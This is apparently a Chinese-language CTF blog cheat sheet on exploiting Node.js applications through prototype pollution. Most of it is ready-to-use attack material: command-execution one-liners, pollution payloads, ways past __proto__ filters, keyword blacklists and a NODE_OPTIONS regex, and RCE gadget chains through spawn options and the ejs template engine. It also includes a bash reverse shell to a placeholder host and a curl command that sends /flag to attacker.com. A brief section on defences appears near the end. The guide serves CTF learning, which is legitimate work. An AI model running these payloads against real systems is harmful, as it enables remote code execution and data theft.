2231 字
11 分钟
Node.js

一、Node.js 核心利用模块#

1. child_process - 命令执行#

// 异步执行,结果不回显(需反弹shell)
require('child_process').exec('ls')
// 同步执行,结果直接回显
require('child_process').execSync('cat /flag').toString()
// spawn 传入参数数组
require('child_process').spawn('ls', ['/'])
require('child_process').spawnSync('cat', ['/flag'])
// execFile 执行文件
require('child_process').execFile('/bin/sh', ['-c', 'cat /flag'])

2. fs - 文件操作#

// 同步读取
require('fs').readFileSync('/flag').toString()
// 异步读取
require('fs').readFile('/flag', (err, data) => console.log(data))
// 写文件
require('fs').writeFileSync('/tmp/shell.js', 'code')
// 目录遍历
require('fs').readdirSync('/').forEach(f => console.log(f))

3. eval/Function - 代码执行#

// 直接执行代码
eval("require('child_process').execSync('id')")
// Function 构造器
Function("return require('child_process').execSync('id')")()
// 间接调用
[].constructor.constructor("return process")()

4. process - 全局入口#

process.env // 环境变量
process.cwd() // 当前工作目录
process.mainModule // 主模块 (已弃用但仍可用)
process.mainModule.require() // 加载任意模块
// 常用链
process.mainModule.require('child_process').execSync('id')

二、原型链污染基础#

1. 原型链概念#

// 每个对象都有 __proto__ 指向其原型
let obj = {}
obj.__proto__ === Object.prototype // true
// 原型链查找:自身 → __proto__ → __proto__.__proto__ → ... → null
obj.toString() // 从 Object.prototype 继承
// 函数有 prototype 属性
function Foo() {}
Foo.prototype.constructor === Foo // true
// new 创建的对象,__proto__ 指向构造函数的 prototype
let f = new Foo()
f.__proto__ === Foo.prototype // true

2. 污染原理#

// 正常情况:只有特定对象有某个属性
let obj = {}
console.log(obj.admin) // undefined
// 污染原型链后:所有对象都继承该属性
Object.prototype.admin = true
console.log(obj.admin) // true (从原型链继承)
// 影响范围:所有后续创建的对象
let obj2 = {}
console.log(obj2.admin) // true

3. 常见污染入口#

// 危险函数模式
function merge(target, source) {
for (let key in source) {
if (source[key] instanceof Object) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
// 触发污染
merge({}, JSON.parse('{"__proto__":{"admin":true}}'))
// 其他危险函数
Object.assign({}, user_input) // 某些情况
_.merge({}, user_input) // lodash < 4.17.21
$.extend(true, {}, user_input) // jQuery < 3.4.0

三、污染方式与绕过#

1. 基本污染方式#

// 方式1: __proto__ 直接污染
{"__proto__": {"evil": 1}}
// 方式2: constructor.prototype 链式污染
{"constructor": {"prototype": {"evil": 1}}}
// 方式3: __proto__.__proto__ (嵌套污染)
{"__proto__": {"__proto__": {"evil": 1}}}

2. 过滤绕过技巧#

2.1 proto 过滤绕过#

constructor.prototype
// 过滤代码
if (key === '__proto__') continue;
{"constructor": {"prototype": {"evil": 1}}}
// 绕过方式: __proto__ 的其他表示
{"\u005f\u005fproto\u005f\u005f": {"evil": 1}} // Unicode (JSON.stringify会转换)
Object.assign({}, JSON.parse('{"__proto__":...}')) // 某些情况绕过

2.2 关键字黑名单绕过#

// 黑名单: "shell", "env", "exports", "main", "module"
// 绕过思路:
// 1. 属性名不在黑名单中
// 黑名单检查 JSON 字符串中的键名
// 但 constructor.prototype.xxx 中的 xxx 不受限制
{"constructor": {"prototype": {"NODE_OPTIONS": "-r /flag"}}}
// 2. 字符串拼接 (eval场景)
global["sh" + "ell"] = true
// 3. 十六进制/Unicode编码 (某些解析器)
{"\x73hell": true} // \x73 = 's'

2.3 正则过滤绕过#

// 过滤代码
const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
// 绕过: 使用短格式
NODE_OPTIONS: "-r /flag" // -r 是 --require 的短格式,不在正则中
// 绕过: 参数拼接
NODE_OPTIONS: "--require=/flag" // 没有 \b 边界,某些情况可绑过
// 绕过: 空格变体
NODE_OPTIONS: "--require\t/flag" // \t 替代空格

3. 合并函数绕过案例#

// 案例1: 只检查顶层 __proto__
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') continue; // 只检查顶层
if (typeof source[key] === 'object') {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
// 绕过: constructor.prototype
{"constructor": {"prototype": {"evil": 1}}}
// 案例2: 递归检查 __proto__
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') continue;
if (key === 'prototype') continue; // 加了prototype过滤
// ...
}
}
// 绕过: 嵌套对象
{"__proto__": {"__proto__": {"evil": 1}}}
// 案例3: 黑名单过滤
const forbidden = ['__proto__', 'prototype', 'constructor'];
if (forbidden.includes(key)) continue;
// 绕过: 找其他路径或利用条件竞争

四、利用链 (Gadgets)#

1. child_process.spawn 参数注入#

// spawn 调用
spawn('node', ['-e', code'], options)
// 可污染的 options 属性:
// - cwd: 工作目录
// - env: 环境变量对象
// - argv0: 进程名
// - stdio: 标准输入输出配置
// - shell: 是否使用shell (true时可命令注入)
// - uid/gid: 用户/组ID
// 污染示例
{"constructor": {"prototype": {"shell": true}}} // 启用shell
{"constructor": {"prototype": {"cwd": "/flag"}}} // 改变工作目录
{"constructor": {"prototype": {"argv0": "-e"}}} // 修改参数

2. NODE_OPTIONS 环境变量注入#

// NODE_OPTIONS 是 Node.js 的特殊环境变量,传递参数给所有子进程
// 源码示例
const customEnv = Object.create(null); // 无原型对象,不受污染
for (let key in process.env) {
customEnv[key] = process.env[key];
}
// 但如果 spawn 的 options 对象没有显式设置 env,会继承 Object.prototype
spawn('node', args); // options 默认继承原型链
// 利用方式
{"constructor": {"prototype": {"NODE_OPTIONS": "--require=/path/to/evil.js"}}}
{"constructor": {"prototype": {"NODE_OPTIONS": "-r /flag"}}} // 短格式
// 读取 flag(flag非JS会报错,内容在错误中泄露)
// -r /flag 尝试加载 /flag 作为模块,报错信息包含 flag 内容

3. Array.prototype 参数注入#

// 当代码使用数组作为参数时
spawn('node', ['-e', 'code']) // 参数是数组
// 污染 Array.prototype 可以注入额外参数
{"constructor": {"prototype": {"2": "-p", "3": "require('child_process').execSync('id')"}}}
// 实际效果: node -e 'code' -p 'require(...)'

4. ejs 模板引擎 RCE#

// ejs < 3.1.6 存在原型链污染 RCE
// 利用链: outputFunctionName → 预编译 → 代码执行
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"}}

5. jade/pug 模板引擎 RCE#

// jade/pug 模板引擎利用链
{"__proto__": {"self": true, "debug": true}} // 可能导致信息泄露
{"__proto__": {"compileDebug": true, "client": true}} // 调试模式

6. express 常见利用#

// express 静态文件服务
{"__proto__": {"index": "flag.txt"}} // 修改默认索引文件
// session 控制
{"__proto__": {"isadmin": true}}
// 视图引擎
{"__proto__": {"settings": {"view engine": "ejs"}}}

7. require 缓存污染#

// 污染 require 缓存
{"__proto__": {"./safe-module": {"exports": {"dangerous": true}}}}
// 或污染 module.constructor
require.constructor.prototype._cache['./evil'] = {exports: {run: () => evil()}}

8. 函数构造器利用#

// 从任意对象获取 Function 构造器
[].constructor.constructor("return process")()
"".__proto__.constructor.constructor("return this")()
// 执行任意代码
[].constructor.constructor("return require('child_process').execSync('id')")()

五、实战场景分类#

场景1: merge/clone 函数#

// 最常见的入口
app.post('/config', (req, res) => {
merge(config, req.body); // 危险!
});
// 利用
POST /config
{"__proto__": {"admin": true}}
// 或
{"constructor": {"prototype": {"admin": true}}}

场景2: 对象复制/扩展#

// Object.assign 深拷贝问题
Object.assign(config, req.body); // 单层,无法污染原型
// 但递归版本可能有问题
function deepAssign(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
deepAssign(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

场景3: JSON 解析 + 赋值#

// 危险模式
let config = JSON.parse(req.body.data);
user.role = config.role; // 如果 config 被污染...
// 或直接使用用户输入创建对象
let obj = {[key]: value}; // 如果 key 是 __proto__

场景4: 模板引擎#

// ejs 渲染时
res.render('template', user_data); // user_data 可能污染渲染选项
// 利用
{"__proto__": {"outputFunctionName": "x;global.process.mainModule.require('child_process').execSync('id');x"}}

六、检测与验证#

1. 检测污染是否生效#

// 测试 payload
{"__proto__": {"test": 1}}
// 或
{"constructor": {"prototype": {"test": 1}}}
// 验证: 检查新对象是否继承该属性
// 如果服务有回显,可能看到效果
// 或通过报错信息观察

2. 常见回显方式#

// 1. 直接回显
res.json({admin: user.admin}) // 如果污染了 admin
// 2. 报错回显
// NODE_OPTIONS: "-r /flag" 会将 flag 内容显示在报错中
// 3. 反弹 shell
{"__proto__": {"NODE_OPTIONS": "-r /tmp/shell.js"}}
// /tmp/shell.js 内容
require('child_process').exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')
// 4. 外带数据
require('child_process').exec('curl http://attacker.com/$(cat /flag | base64)')

七、完整利用流程#

Step 1: 识别入口点#

Terminal window
# 寻找 JSON 输入点
POST /api/config
Content-Type: application/json
# 或 URL 参数
?data={"key":"value"}
# 或 Cookie
Cookie: data={"key":"value"}

Step 2: 测试污染#

Terminal window
# 测试1: __proto__
curl -X POST $URL -H "Content-Type: application/json" \
-d '{"__proto__":{"__test__":1}}'
# 测试2: constructor.prototype (如果 __proto__ 被过滤)
curl -X POST $URL -H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"__test__":1}}}'

Step 3: 寻找利用链#

Terminal window
# 检查代码中是否有:
# - child_process.spawn/exec
# - ejs/jade 等模板引擎
# - 文件操作
# - 环境变量使用
# - require 动态加载

Step 4: 构造 Payload#

Terminal window
# RCE via spawn + shell
{"constructor":{"prototype":{"shell":true}}}
# RCE via NODE_OPTIONS (短格式绕过正则)
{"constructor":{"prototype":{"NODE_OPTIONS":"-r /flag"}}}
# RCE via ejs
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');x"}}

八、经典例题分析#

例题1: spawn + NODE_OPTIONS (本题)#

// 源码关键点
function merge(target, source, res) {
for (let key in source) {
if (key === '__proto__') continue; // 过滤 __proto__
// ...
}
}
const forbidden = ['shell', 'env', 'exports', 'main', 'module', ...];
const bodyStr = JSON.stringify(userConfig).toLowerCase();
if (bodyStr.includes(`"${word}"`)) { ... } // 黑名单检查键名
spawn('node', ['-e', code'], {env: customEnv, shell: false}); // spawn 调用
// 正则过滤 NODE_OPTIONS
const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;
// 利用思路:
// 1. constructor.prototype 绕过 __proto__ 过滤
// 2. NODE_OPTIONS 不在黑名单中,可以污染
// 3. -r 短格式绕过 --require 正则过滤
// 4. spawn 的 options 对象继承 Object.prototype
// Payload
{"constructor":{"prototype":{"NODE_OPTIONS":"-r /flag"}}}
// 结果: flag 内容在报错信息中泄露

例题2: lodash.merge (CVE-2020-8203)#

// lodash < 4.17.21 的 merge 函数存在原型链污染
const _ = require('lodash');
_.merge({}, req.body);
// 利用
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"shell": true}}}

例题3: ejs 模板引擎#

// ejs 渲染
res.render('index', req.body);
// 利用链
{"__proto__": {"outputFunctionName": "x;global.process.mainModule.require('child_process').execSync('cat /flag');x"}}

九、防御措施#

// 1. 使用 Object.create(null) 创建无原型对象
let safeObj = Object.create(null);
// 2. 使用 Map 代替普通对象
let safeMap = new Map();
// 3. 冻结原型
Object.freeze(Object.prototype);
// 4. 白名单过滤
const allowedKeys = ['name', 'age'];
for (let key in source) {
if (!allowedKeys.includes(key)) continue;
target[key] = source[key];
}
// 5. 检查 __proto__ 和 constructor
if (key === '__proto__' || key === 'constructor') continue;
// 6. 使用 hasOwnProperty
if (source.hasOwnProperty(key)) {
target[key] = source[key];
}

十、快速参考表#

过滤方式绕过方法
key === '__proto__'constructor.prototype
`key === ‘proto’
黑名单检查键名污染值而非键,或用不在黑名单的属性
正则过滤 --require短格式 -r
NODE_OPTIONS 过滤 -e, -p使用 -r 预加载文件
Object.create(null) 隔离找其他污染点 (如 spawn options)
无回显反弹 shell、外带数据、报错泄露

常用 Payload 模板#

// 基础污染
{"__proto__": {"key": "value"}}
{"constructor": {"prototype": {"key": "value"}}}
// RCE via spawn shell
{"constructor": {"prototype": {"shell": true}}}
// RCE via NODE_OPTIONS
{"constructor": {"prototype": {"NODE_OPTIONS": "-r /path/to/evil.js"}}}
// RCE via Array.prototype
{"constructor": {"prototype": {"0": "-e", "1": "evil_code"}}}
// ejs RCE
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"}}
// 函数构造器链
[].constructor.constructor("return process")().mainModule.require('child_process').execSync('id')

参考资源:

Node.js
https://lab404.cn/posts/nodejs/
作者
见山
发布于
2026-03-31
许可协议
CC BY-NC-SA 4.0